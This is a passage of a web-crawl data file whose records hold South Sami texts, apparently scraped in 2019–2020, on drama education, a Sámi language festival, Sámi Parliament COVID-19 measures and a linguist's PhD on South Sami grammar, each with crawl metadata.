og vitenskap IT\/teknologi Naturfag Viehkiebaakoe Rátkin Rein Kautokeino Reingjerde Reingjeting Rein Drone Reingjeting","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/ovttas.no\/sma\/filbma_raarhkoe","date":"2019-08-20T18:53:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027315558.25\/warc\/CC-MAIN-20190820180442-20190820202442-00490.warc.gz","language":"sma","language_score":0.6543086171,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.6543086171150208, \"sme_Latn_score\": 0.3380671739578247}","num_words":52,"character_repetition_ratio":0.031,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.038,"flagged_words_ratio":0.0,"lang_id_score":0.901,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Draama, dramatihke jïh vuasastallemh leah lidteratuvrh, gusnie heannadimmie dialoge-hammojne scenesne vuesehte. Dellie göökte jallh jienebh almetjh jiehtegigujmie jallh replihkigujmie soptsestellieh. Baakoe draama, mij lea dahkoe, greeske gïeleste båata.\nDraama\nAlmetjh leah guhkede gietjeste råållah spealadamme jïh lustestalleme gosse jeatjah almetjinie voejhkelamme årrodh. Medtie 2500 jaepiej raejeste dellie dah greekerh daam stååkedimmiem evtiedin sjangerasse man sjïere væhtah. Gaajhke mij heannede draamesne maehtebe dallegh vuejnedh. Mijjieh gaajhkh persovnh\/almetjh åahpanadtebe, gosse vuejnebe jïh goltelibie mah dah darjoeh jïh maam dah jiehtieh jallh soptsestieh. Mijjese aelhkebe draamam guarkedh jïh jaehkedh jis buerie jiehtegh jallh replihkh gååvnesieh mejtie tuhtjebe jaehkemes. Jis dovne replihkh jïh svihtjemh aktanieh dellie vuartasjæjjah maehtieh draamam guarkedh jïh sisvegem jïh dahkoem dåeriedidh.\nDovne teaterisnie jïh spïele-filmesne vihkele dorjehtæjjaj scene-vaarjoeh sisvegasse jïh dahkose sjiehtieh. Mijjieh edtjebe daennie tsiehkesne årrodh, tïjjen jïh sijjine mah dorjehtæjjah voejhkelieh skaepiedidh. Seamma vuekine kulissigujmie jallh byjresinie, v.g. mööbelinie jïh vïedtjine. Nuhteligs teatere aktem byjresem jïh mieriem skaepede dahkose vuasastallemen bïjre. Aarebi stoerre tjïehtjelh, gåetieh jïh voenh bigkin guktie draama-byjrese edtji sjïdtedh guktie dah sïjhtin. Daen biejjien byjresh daata-teknologijen tjïrrh skaepiedieh.\nDraama-sjangeren væhtah scenesne jallh filmesne\n- Mij heannede? Daelie heannede?\n- Dah replihkh jïh svihtjemh pruvhkieh\n- Dorjehtæjjah ovmessie kostymh\/scena-vaarjoeh pruvhkieh\n- Byjresem voerkeslaakan jïh eensilaakan veeljeme\nDah vihkielommes draama-sjangerh\n- Dorjehtimmie teaterisnie gellie boelhkine juakeme. Fïerhtene boelhkesne gellie scenah. Akte scena lea akte tsiehkie. Aktene scenesne seamma almetjh seamma sijjesne dorjehtieh.\n- Spïele-filme mahte seammalaakan goh dorjehtimmie, men jeatjah viehkie-dïrregh nuhtjie.\n- TV-raajroeh sïejhmemes draamatihke-hammoe daan biejjien. TV-raajrosne mijjieh dejtie seamma almetjidie dåeriedibie, seamma byjresisnie gelline tsiehkine. TV-raajroe gelline boelhkine juakeme.\n- Daata-spïele gellie ovmessie biehkieh åtna, men dahkoe jïh replihkh vihkele. Dah spïelijh leah aaj meatan spïelesne jïh dahkosne, jïh maehtieh spïelem jïh dahkoem tsevtsedh.\nBaakoeh\n|Saemien||Daaroen|\n|sisvege||innhold|\n|dahkoe||handling|\n|replihke||replikk|\n|svihtjeme||bevegelse|\n|vuasastalleme||forestilling|\n|dorjehtæjja||skuespiller|\n|dorjehtimmie||skuespill|\n|aktanidh||kombinere|\n|byjresh||miljø|\n|mierie||ramme|\nDraamaKjernestoff\nRaahkele-PiereKjernestoff","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:176552\/topic:1:182306\/resource:1:173184","date":"2019-09-18T00:06:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573124.40\/warc\/CC-MAIN-20190917223332-20190918005332-00273.warc.gz","language":"sma","language_score":0.9999910593,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999910593032837}","num_words":285,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.109,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaktjen Tjåanghkoe stuerebe stuerebe sjædta\n–Mïerhkede hïeljem skïereden 19. -22. b. dijjen biejjielåhkosne, jïh båetede Snåasese, Saemien Sijten preessetjåadtjoehtæjja Susanne Lyngmann haasta.\nDaate lea govhteden aejkien festivaale Snåasesne öörnesåvva. Tjaktjen Tjåanghkoe åarjelsaemien gïelem jïh kultuvrem jarngese beaja.\nDaan jaepien faageseminaare lea nommem åådtjeme \"Gïele lea faamoe – Power of language\" jïh Saetniesvoetekommisjovne sov barkoen bïjre soptseste.\n–Konferanse lea Snåasen Hotellesne. Gaskem jeatjah Henrik Barruk sæjhta soptsestidh guktie lea gïelem bååstede vaeltedh. Mænngan edtjh tjahkasjidh damtedh \"wow\". Liktemebielie, man åvteste Saetniesvoetekommisjovne dïedtem åtna, sån leevles jïh dïeves domtesijstie sjædta, Lyngmann jeahta.\nTjaktjen Tjåanghkoe lea aaj noeride.\n– Mijjen akte jïjtsh noerekonferanse barkoetjåanghkoejgujmie. Mijjieh guessieh åadtjobe Maori-almetjijstie New Zealaanteste. Dah sijhtieh barkoetjåanghkoeh daanhtsojne, tjeahpojne jïh gurrieminie utnedh. Mijjieh aaj aktem vuasahtallemem darjobe daestie. Dïhte mij våajnoes sjædta tjeahposne edtja gïelen jïh liktemen bïjre årrodh. Tjåanghkan lea jïjnje mij heannede konferansen bïjre. Mijjen leah maarhna jïh vuasahtalleme, åadtjestimmie jïh gærjabusse sæjhta hævvi aaj desnie årrodh, Lyngmann soptseste.\nMusihkeboelhke mij fryöjstoe lea Saepmien jïjtse ISÁK jïh Ella Marie Hætta Isaksen. Mijjieh dam damtebe goh vitnije NRK:n gaahtjemistie \"Stjernekamp\".\n–Daate akte faagefestivaale men mijjieh tjarke aavoedibie daan konsertese. Mijjieh joekoen gellie almetjh veanhtadibie gosse Ella Marie scenese vaadtsa, Lyngmann jeahta.\nJis sïjhth meatan årrodh konferansesne maahtah bïevnesh sïjsebieljelimmien jïh jïjjedimmien bïjre gaavnedh daesnie:","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/samimag.no\/sma\/content\/tjaktjen-tjaanghkoe-stuerebe-stuerebe-sjaedta","date":"2019-09-15T22:29:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514572436.52\/warc\/CC-MAIN-20190915215643-20190916001643-00056.warc.gz","language":"sma","language_score":0.9999909401,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999909400939941}","num_words":204,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.142,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Boelhken 1826 – 1949 raastide Nöörjen, Såevmien jïh Russlaanten gaskem jarkelin gellien aejkien, jïh skoltesaemiej aerpievuekien jieledevuekie geerve sjïdti.\n– Saemiedigkieraerie geerjene juktie maehtedh viehkiehtidh teatereproduksjovnem buektiehtidh mij fokusem beaja skoltesaemiej geerve histovrijasse goh raastehts åålmege mij åadtjoeji illedahkide damtedh stoerrefaamoej raastebïejemistie, saemiedigkieraerie Henrik Olsen jeahta.\nTeaterestuhtje golme aalkoemierieh buerkeste mah fïereguhte guvviem jieliedistie raastelaantesne vedtieh luvlie- jïh jillieveartenen gaskem, jïh almetjijstie desnie. Dajvesne såemies dejstie vïerremes dåarjoedahkojste sjugniehtovvin jïh lea akte dajve gusnie stoerrefaamoeh Russlaante jïh USA doh minngemes jaepieh leah stoerre militæære vierhtieh nuhtjeme raastem gaskemsh mïerhkesjidh.\nDïhte voestes vuesiehtimmie lea ruffien 2020 jïh edtja årrodh öörnedimmesne Festspillene Noerhte-Nöörjesne. Dan mænngan teaterestuhtje edtja bïjre jarkan mïnnedh.\nJis dov leah gihtjehtimmie jallh gyhtjelassh, gaskesadth Henrik Olsen, 907 75 219.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/PRM-Daaarjoe-teaterestuhtjese-skoltesaemiej-kultuvren-jih-histovrijen-bijre","date":"2019-10-22T21:18:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987824701.89\/warc\/CC-MAIN-20191022205851-20191022233351-00253.warc.gz","language":"sma","language_score":0.9999824762,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.999982476234436}","num_words":112,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.125,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie Nöörjesne programmeraeriem nammohte NRK Sápmise. Raerie edtja dam saemien programmefaalenassem vuartasjidh jïh vuarjasjidh.\nProgrammeraerie ij naan faamoem utnieh vuartasjidh jïh gïehtjedidh dejtie sjæjsjalimmide mejtie NRK Sápmin åvtehke programmepolitihkeles gyhtjelassine vaalta. Men raerie dovne reaktam jïh dïedtem åtna raeriestidh guktie dah goh goltelæjjaj, vuartasjæjjaj jïh lohkiji tjirkijh vienhtieh programmefaalenasse maahta læssanidh jïh buaranidh.\nJeatjah gaavhtan dle raerie maahta gaajhkh aamhtesh bæjjese vaeltedh mejtie dah jïjtje vienhtieh lea NRKen bïjre. Programmeraerien barkoe lea vihtiestamme Kringkastingelaaken § 7-3.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.nrk.no\/sapmi\/om\/saemien-programmeraerie-1.11309973","date":"2019-12-08T20:53:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540514893.41\/warc\/CC-MAIN-20191208202454-20191208230454-00544.warc.gz","language":"sma","language_score":1.00000453,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.000004529953003}","num_words":74,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.122,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Onterligs påasken bissiebiejjide geatskanidh mearan tjarke måjhtelibie dam sohtem maam voejhkelibie tjöödtjestidh jïh nåhkehtidh. Akte haesteme gusnie tjoerebe ektesne tjåadtjodh, jïh abpe mijjen siebriedahke tjarke tjabreminie. Uvtemes tjoerebe mijjen båarasåbpoe almetjidie jïh jeatjah meatanårroejidie vaahradåehkesne ussjedidh. Gaajhkesh mijjieh tjoerebe darjodh maam maehtebe olles vijruse vielie saaserh. Daate mijjen åejviefokuse.\nFïnkesi åvtelen bïevnesh saemiengielesne böötin riejriesvoeteåejvieladtjijste, jïh Saemiedigkie gaajhkem dorje maam maehtebe guktie joekoen vihkeles bïevnesh skïemtjelassen bïjre jïh bïevnesh vihkeles siebriedahkeråajvarimmiej bïjre saemiengïelesne båetieh saemien årroejidie. Joekoen dejtie saemien båarasåbpoe almetjidie jïh dejtie eevre nööremesidie mah stoerre daerpiesvoetem utnieh bïevnesh saemiengïelesne åadtjodh.\nSaemiedigkie meatan daennie aktivyöki barkosne juktie heerredidh Koronavijruse vielie saasere, jïh lea aaj gellie råajvarimmieh dorjeme, barkijigujmie hïejmekontovrine jïh feelemetjöödtjestimmie. Naakenh dejstie barkijistie leah hævvi meatan joekoen vihkeles barkosne Sivijlevaarjelimmien jallh Hïejmevaarjelimmien tjïrrh. Saemiedigkien kontovresijjieh leah steegkesovveme guesside. Men Saemiedigkie jåhta goh pråvhka.\nSaemien maanah jïh noerh aaj aahpan sjidtieh daestie. Skuvle jïh ööhpehtimmie tjuerieh daelie dorjesovvedh viehkine digitaale vuekijste jïh learoevierhtijste. Mijjieh limh byöreme jienebh digitaale gærjah jïh learoevierhtieh utnedh, jïh daate mij akt mejnie tjarkebe barkebe. Saemien lohkehtæjjah jïh learohkh daagkeri veajkoej nænnoes digitaale maahtoem utnieh dan åvteste akte joekoen stoerre bielie ööhpehtimmeste saemienfaagesne, viehkine digitaale vuekijste dorjesåvva. Daate maahta viehkiehtidh daam haestemem aelhkebe darjodh jeenjesidie.\nJeenjesh jieliemisnie leah sjïere neavrosne daelie dej råajvarimmiej gaavhtan mejgujmie nïerhkeme. Stoerre bielieh båatsoste leah guektiengïerth aehpiejaepiem åådtjeme dej joekoen stoerre lopmeveahkaj gaavhtan. Saemien fealadasse, kultuvrejielemh jïh doh jeanatjommes jeatjah jielemh leah aaj aahpan sjïdteme dejstie råajvarimmijste. Saemiedigkieraerie lea ellies goerehtimmine nïerhkeme Saemiedigkien aamhtesijstie jïh dïenesjijstie, juktie goerehtalledh guktie tsiehkie lea saemien siebriedahkese jïh mijjen dåarjoedåastoejidie.\nSaemiedigkie sæjhta fleksijbele årrodh juktie dejtie jarkelamme tsiehkide bööremeslaakan dåastodh. Mijjieh sïjhtebe guejmine årrodh dejtie gïehtelimmide mah akten guhkiebasse evtiedæmman soejkesjamme, men mah daelie aktene aehpesne tjåadtjoeh man bijjelen ij bijjieguvviem utnieh, jïh gusnie joekoen jueriedisnie båetijen aejkien bïjre. Saemiedigkie sæjhta dan åvteste aktööride vijriedamme nuepieh vedtedh sijjen prosjekth orresistie öörnedidh. Saemiedigkie sæjhta faegneles årrodh jis jielemeaktöörh sijhtieh ånnetji guhkebem tïjjem nuhtjedh dejtie prosjektide mejtie beetnehdåarjoen bïjre syökeme Saemiedigkeste.\nAktöörigujmie ektine goh Romsa jïh Finnmarhke fylhkentjïelte, Romsan jïh Finnmarhken Fylhkenålma, NHO, LO, NAV jïh Innovasjovne Nöörje mijjieh laavenjostebe bïevnesejuekemen, koordineradimmien jïh barkoeöörnemen bïjre ånnetji guhkiebasse. Saemiedigkie sæjhta jaabnan tjåanghkoeh åvtese utnedh Korona-aehpien bïjre. Sïjhtebe ektiedimmiem sjugniedidh jeatjah fylhkigujmie, fylhkenålmajgujmie jïh staateles åejvieladtjigujmie juktie råajvarimmieh gorredidh mah maehtieh juhtedh dovne åeniebasse jïh guhkiebasse, gaajhkesidie mah aahpan sjïdteme konsekvensijste dej råajvarimmiej tjïrrh mejgujmie nïerhkeme mijjen jearsoesvoeten gaavhtan.\nMijjieh reerenassine rååresjibie dej haestemi bïjre mej uvte saemien siebriedahke tjåådtje, jïh joekoen doh institusjovnh jïh ulmieh mah leah Saemiedigkien budsjedten nuelesne. Saemiedigkien mïelen mietie byöroe aktem stoerre beetnehveahkam læjkodh mij håksa saemien siebriedahke aaj baahtsemem åådtje dejtie staateles aehpievierhtide.\nDaelie Saemiedigkie raeriestimmieh darjoeminie juktie orre prioriteradimmieh darjodh jïjtse budsjedtesne. Såemies dagkerh råajvarimmieh maehtieh årrodh dåarjoemaaksojde lissiehtidh jielemeevtiedæmman, jïh jeatjahtehteme dejtie gïehtelimmide mah leah aahpan sjïdteme siebriedahkeråajvarimmijste Koronavijrusen gaavhtan. Jeatjah råajvarimmie maahta årrodh krïevenassem jïjtsekapitaalese giehpiedidh dagkerh prosjektine dejtie sïeltide mah aahpan sjïdteme. Saemien fealadasse, gåassoehtimmiesijjieh jïh jïjjedimmiefaalenassh leah dej suerkiej gaskem mah tjerkemes aahpan sjïdteme. Jielemehaakenh aktem joekoen stoerre barkoem bïhkedimmine darjoeh jïh gïehtelimmide viehkiehtidh. Sïjhtebe dan åvteste dåarjojde Sápmi Næringshagese lissiehtidh juktie dej barkoefaamoem lissiehtidh.\nAkte jeatjah suerkie mij tjarke aahpan sjïdteme lea mijjen tjiehpiedæjjah. Sïjhtebe dan åvteste mieride lissiehtidh Saemien Tjiehpiedæjjaraaran ihke dah edtjieh maehtedh tjiehpiedæjjide stipeendine, faageles evtiedimmine jïh plearoeh viehkine dåarjoehtidh. Jïjtjene ohtsemebaseradamme öörnegen nuelesne kultuvreråajvarimmide sïjhtebe faageles jïh tjeahpoles eevtiedimmiem jïh produksjovnh prioriteradidh dan boelhken tjiehpiedæjjah eah dan jïjnjem utnieh darjodh Korona-aehpien gaavhtan.\nSïjhtebe aaj mijjen institusjovnh dåarjoehtidh jïh mieride lissiehtibie don ohtsemebaseradamme öörnegasse institusjovneevtiedæmman. Sïjhtebe dej gaavnoes barkoefaamoem skreejrehtidh jïjtjemse faageles evtiedidh.\nSaemien siebriedahke tjuara aaj åadtjodh dejtie staateles aehpiepaahkide nuhtjedh, jïh dejnie mijjieh barkebe. Saemiedigkien jïjtse budsjedtesne saemiedigkieraerie luhpiedimmiem åtna raajan 20 % nuhtjedh dåarjoevierhkievierhtijste, jïh daam luhpiedimmiem sïjhtebe nuhtjedh. Saemiedigkieraerie ij maehtieh vierhtide nuhtjedh åssjelidie mah eah leah meatan daan jaepien budsjedtesne jallh orre dåarjoeöörnegh tseegkedh. Ij akt Saemiedigkieraerie maehtieh gïehtelimsmaaksoeh jeatjahlaakan nuhtjedh reereles jïh politihkeles daltesisnie.\nSaemiedigkieraerien gaertjiedamme luhpiedimmiej gaavhtan, jïh dan gaavhtan mijjieh vuejnebe daerpies orresistie prioriteradidh, libie Saemiedigkien dåehkieåvtehkh tjåanghkose gohtjedamme båetijen måantan. Naakenh dejstie råajvarimmijste mejtie saemiedigkieraerie vuarjesje, ij saemiedigkieraerie maehtieh oktegh darjodh, men tjuara dejtie loetedh revideradamme budsjedtesne nænnoestimmiej tjïrrh stoerretjåanghkosne. Naemhtie guktie tsiehkie lea daelie lea joekoen stoerre juerie mejtie gåarede tjåanghkoeh hööltedh Saemiedigkien stoerretjåanghkosne giesien åvtelen, jïh dan åvteste stoerretjåanghkoen åvtehkinie jeatjah vuekieh digkiedibie juktie stoerretjåanghkoeh tjïrrehtidh.\nGegkestem mijjieh maehtebe ektesne tjåadtjodh daan aehpien tjïrrh. Tjoerebe sinsitniem gorredidh. Mijjieh vuejnebe man prååsehke riejriesvoete- jïh healsoedïenesjh leah mijjen dajvetjïeltine, jïh man stoerre gåhkoe lea vihkeles skïemtjegåetiefunksjovnide. Daate lea aamhtese mij lea sjyöhtehke joekoen jeenjesidie. Mijjen leah væjkeles jïh eadtjohke almetjh healsoesuerkesne, bovrine, bïssiji gaskem jïh dah mah fealadimmesne berkieh, geajnoeh baelieh, påastem vuejieh jïh raatem veedtjieh. Smaave tjïelth mah vihkeles aktivyöki barkoem darjoeh ihke mijjieh edtjebe daan sistie båetedh dan hijven gåarede. Manne gijhteles dej barkoen åvteste.\nMijjieh daejrebe jeenjesh streavere tïjjem utnieh daelie jïh jeenjesh stoerre haestemh aehpien tjïrrh utnieh. Saemiedigkien bieleste edtjebe darjodh maam maehtebe. Maehtede mijjem gaskesadtedh daesnie: email@example.com.","id":"","dump":"CC-MAIN-2020-16","url":"https:\/\/www.saemiedigkie.no\/Saernievaaarhkoe\/Kronihke-Saemiedigkien-gietedimmie-Korona-vijrusistie","date":"2020-04-05T05:55:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370529375.49\/warc\/CC-MAIN-20200405053120-20200405083120-00480.warc.gz","language":"sma","language_score":1.000000596,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000005960464478}","num_words":806,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.121,"stopwords_ratio":0.128,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie daajra jienebh duedtiesïelth maehtieh dåeriesmoerh åadtjodh sijjen dorjesh doekedh korona-aehpien gaavhtan. Jïh dan gaavhtan dej ekonomeles tsiehkie maahta geerve sjïdtedh.\nSaemiedigkieraerie lea dan åvteste sjæjsjalamme gaajhkh ohtsemh gïehtelimsdåarjoen bïjre iktemierien gïetedåvva 25.10.2020 raajan, mij lea gïehtelimsdåarjoen minngemes ohtsememierie. Orre ohtsijidie duedtieregisterasse, daah iktemearan gïetesuvvieh minngemes ohtsememierien raajan 01.06.2020. Daate aaj faamosne dejtie mah jååhkesjimmien bïjre syökoeh lissiedorjesijstie.\n– Mijjieh tjoeperdibie mijjen duedtiebarkijijstie jis dïenestevåarome gaarvene. Mijjieh gegkiestibie råajvarimmie maahta meatan årrodh dam ekonomeles tsiehkiem aelhkebe darjodh, saemiedigkieraerie Hans Ole Eira (Gk) jeahta.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/Duedtieraaajvarimmieh-koronan-gaavhtan","date":"2020-05-27T12:05:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347394074.44\/warc\/CC-MAIN-20200527110649-20200527140649-00168.warc.gz","language":"sma","language_score":0.999990344,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999903440475464}","num_words":80,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.087,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gosse edtjh digkiedimmie-tjaalegem tseegkedh dellie maahtah maadth-bïhkedassem \"Dïhte gollehke gïete\" nuhtjedh. Dellie aktem tjaalegem tjaalah mesnie vïjhte boelhkh – akte fïereguhten soermese aktene gïetesne.\nTjaalegen nomme\nLohkije-tjaalegisnie tjaalegen nomme vihkeles. Tjaelieh tjaalegen nommem naemhtie guktie lohkije guarka man bïjre tjaalege. Mujhtieh aaj tjaalegen nomme edtja lohkijasse lastoem vedtedh vielie lohkedh. Darjoeh dan åvteste aktem hijven bijjie-baakoem mij vuesehte maam datne mïelh.\nAalkoe\nAalkosne aamhtesem åehpiedahtah. Maahtah aaj dov veanhtoem mubpesth tjaeledh jis sïjhth, men maaje ånnetji jeatjah baakoejgujmie goh tjaalegen nommesne. Dastegh aktem tjaalegem vaestedh aktede jeatjah almetjistie, tjoerh dam lohkijasse saarnodh dallatjinie, v.g.: «Manne raaktan måarahtovvim gosse Piere Dearkan tjaalegem lohkim Learohkh fer aeblehts! plaeresne Snåsningen jååktan….» Datne åenehkslaakan tjaalah man bïjre Dearkan tjaalege lij, jïh mænngan dov mïelem tjaalah.\nÅejvie-boelhke\nÅejvie-boelhkesne datne dejtie golme argumeentide åehpiedahtah mah dov mïelen mietie leah vihkielommes. Tjïelkesth dov argumeenth sjyöhtehke rïektesigujmie, vuesiehtimmiejgujmie jïh dååjrehtimmiejgujmie. Rïektese dov ussjedammesvoetem lissehte, vuesiehtimmieh jïh dååjrehtimmieh domtesh jïh eadtjohkevoetem gåaskoeh! Uvtemes edtjh ajve dov argumentasjovnen bïjre tjaeledh, jïh edtjh ajve vuestie-argumeenti bïjre tjaeledh jis eevre daerpies.\nGalhkuve\nGalhkuvisnie edtjh iktedidh jïh konkluderadidh. Tjaelieh maaje dov veanhtoem mubpesth akten minngemes aejkien. Hijven aktine appelline galhkedh (haestieminie) lohkijasse. Minngemosth dov nommem tjaalah.\nAamhtese-tjaaleghKjernestoff\nVïjhteboelhke-vuekien bïjreKjernestoff\nKååserijeKjernestoff\nFaage-tjaalegeKjernestoff\nTjåanghkoeKjernestoff\nByjjes prievieKjernestoff\nNaemhtie byjjes prievie maahta vååjnedhKjernestoff\nGuktie e-påastem tjaeledhKjernestoff\nKååserije jïh petiteKjernestoff\nLohkije-tjaalegeKjernestoff\n- Kjernestoff\nGïeleviehkie-dïrregh lohkije-tjaaleginieKjernestoff","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/ndla.no\/nb\/subjects\/subject:15\/topic:1:175119\/topic:1:173412\/resource:1:173189","date":"2020-07-07T09:18:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655891884.11\/warc\/CC-MAIN-20200707080206-20200707110206-00515.warc.gz","language":"sma","language_score":0.9999972582,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999972581863403}","num_words":215,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.074,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jarkoestimmie: Ellen Bull Jonassen\nDon aejkien, jaepien 1946 , lij dïhte 32 jaepien båeries Knut Bergsland mij sov dåakteretjaalegem bæjhkoehti, \"Røros-lappisk grammatik\". Dan mænngan ij mahte guhte aktem seammaplïeres dotkemem tjïrrehtamme. Ij goh åvtelen akte noere tyske ålma åarjelsaemien vueptiesti sov sïejhme gïeleïedtjen gaavhtan.\nRickard Kowalik lea mahte seamma båeries goh Bergsland lij, gosse dïhte sov tjaalegem bæjhkoehti. Men jalhts lea noere dle læjhkan stoerre gïeleulmieh jïjtsasse bïejeme. Daelie aktine PhD:ine sïejhme gïeledaejriemisnie gïehteleminie Stuehkien universiteetesne. Dåakteretjaaleginie eelki 1,5 jaepiej juassah jïh dïhte edtja sov laavenjassem deelledh jaepien 2021.\nKowalik gellie gïelh soptseste, gaskem jeatjah sveerjen gïelem lïeri naa varke. Aarebi gellie gïelh lohkeme, gaskem jeatjah noerhtesaemien jïlleskuvlesne Guovdageaidnusne. Dïhte ïedtjem åarjelsaemien gïelese åadtjoeji gosse aktede gïeledaejremen vuajnoste aajhtsi gellie raejkieh gååvnesin dotkemen sisnjelen daehtie gïeleste.\n–Lissie gieltegs sjïdti aktine dan onne gïeline mij aktene dan stoerre dajvesne soptsesåvva, gaajhkh doh haestemh mah åarjelsaemien åtna, mejtie tuhtjim lij gieltegs, jïh joekoen murreds gosse maahtam diekie bæjjese vuelkedh jïh almetjigujmie barkedh daennie dajvesne, dïhte eadtjohke dotkije jeahta.\nÅarjelsaemien dan akademihkeles kaarhtese beaja\nDåakteregraade maam vaalta lea sïejhme lingvistihken sisnjelen, leavlojne åarjelsaemien gïelese, akte prosjekte mij 4-5 jaepieh ryöhkoe jïh gusnie illedahke minngemosth akte gïeleldh buerkiestimmie sjædta guktie almetjh dajvesne gïelem nuhtjieh.\nKowaliken ulmie lea åarjelsaemien bïejedh dan akademihkeles kaarhtese jïh grammatihkem tjöönghkedh jïh gorredidh maam gïeledotkijh maehtieh nuhtjedh, gaskem jeatjah gosse edtjieh salkehtidh guktie gïelh veartenisnie fungeradieh. Seamma tïjjen Rickard aaj gïelem registrerede gosse baantese bæjjese vaalta jïh gihtjehtimmieh dorje dejgujmie mah annje åarjelsaemien ietniengïeline utnieh.\n–Manne pryövem gaajhkem maam registeredem akten våarhkoen sïjse biejedh guktie maahta dejtie ovmessie baantedimmide gaavnedh ovmessie ietniengïelesoptsestæjjajgujmie åarjel Saepmien ovmessie dajvijste. Åssjaldahke lea lohkehtæjjah jïh dah mah sijhtieh gïelem lïeredh maehtieh våarhkoen sïjse tjaangedh jïh dejtie grammatihkeles buerkiestimmide nuhtjedh jïh naemhtie lïeredh, jïh maehtedh grammatihkem jïh lingvistihkem mubpide lïerehtidh. Manne govleme såemies mah åarjelsaemien gïelem ööhpehtieh akten tseahkan båetieh gusnie eah maehtieh tjïelkestidh jallh vielie lïeredh, dan åvteste dah duekiematerijellem fååtesieh. Dejnie leam ussjedamme maam akt darjodh, Kowalik tjïelkeste.\nGïele lea evtiedimmesne\nGïeledotkije tuhtjie dïhte gieltegommes, jïh dagke geervemes, lea joekehtidh dej gaskem mah ietniengïelem daan biejjien soptsestieh jïh dah mah sijhtieh gïelem lïeredh daan biejjien. Kowaliken mietie dle maajetjh båarasåbpoe almetjh gååvnesieh mah åarjelsaemien ietniengïeline utnieh, dah leah doh minngemes mah leah reakadamme gïeline. Dej minngesne akte svaalke akten nuerebe boelvese, dejtie mah pryövoeh gïelem bååstede vaeltedh, noerh mah sijhtieh lïeredh. Altese mïelen mietie daate akte stoerre haesteme dan åvteste doh noerh daan biejjien eah naan aelhkies geajnoem utnieh gïelese. Dïhte veanhta daate akte gieltegs balanse gusnie lohkehtæjjah jïh jeatjebh aktem haestemem åadtjoeh.\n–Mov mïelen mietie tjuara voerkes årrodh joekehtsidie smaaregi gaskem, joekehtsh gïelen sisnjelen, jïh seamma tïjjen tjuara baajedh gïelem jïjtjemse iemielaakan evtiedidh, Kowalik meala.\nDïhte gellie ietniengïelesoptsestæjjah råakeme mah tuhtjieh joekoen hijven noerh gïelem nuhtjieh. Båarasåbpoe almetjh mah goerkesem utnieh ihke gïele lea jarkelimmesne. Grammatihkeles dïhte veanhta åarjelsaemien gellie hedtieh jeatjah gïeligujmie åtna jïh åarjelsaemien aaj jïjtjemse eevre iemielaakan evtede.\nSæjhta guhkiem gïelen åvteste barkedh\nOvrehte 3,5 jaepiej minngelen Kowaliken prosjekte gaervies, dellie aervede satne edtja sov tjaalegem deelledh, men ij sïjhth jiehtedh dïhte noere dotkije lea ussjedamme geervehtidh sov barkoem åarjelsaemien gïeline.\n–Sïjhtem grammatihkegærjine barkedh, daate sæjhta jiehtedh manne maahtam guhkiebasse bigkedh disse maam lïereme jïh manne sïjhtem jåerhkedh åarjelsaemien gïeline barkedh, 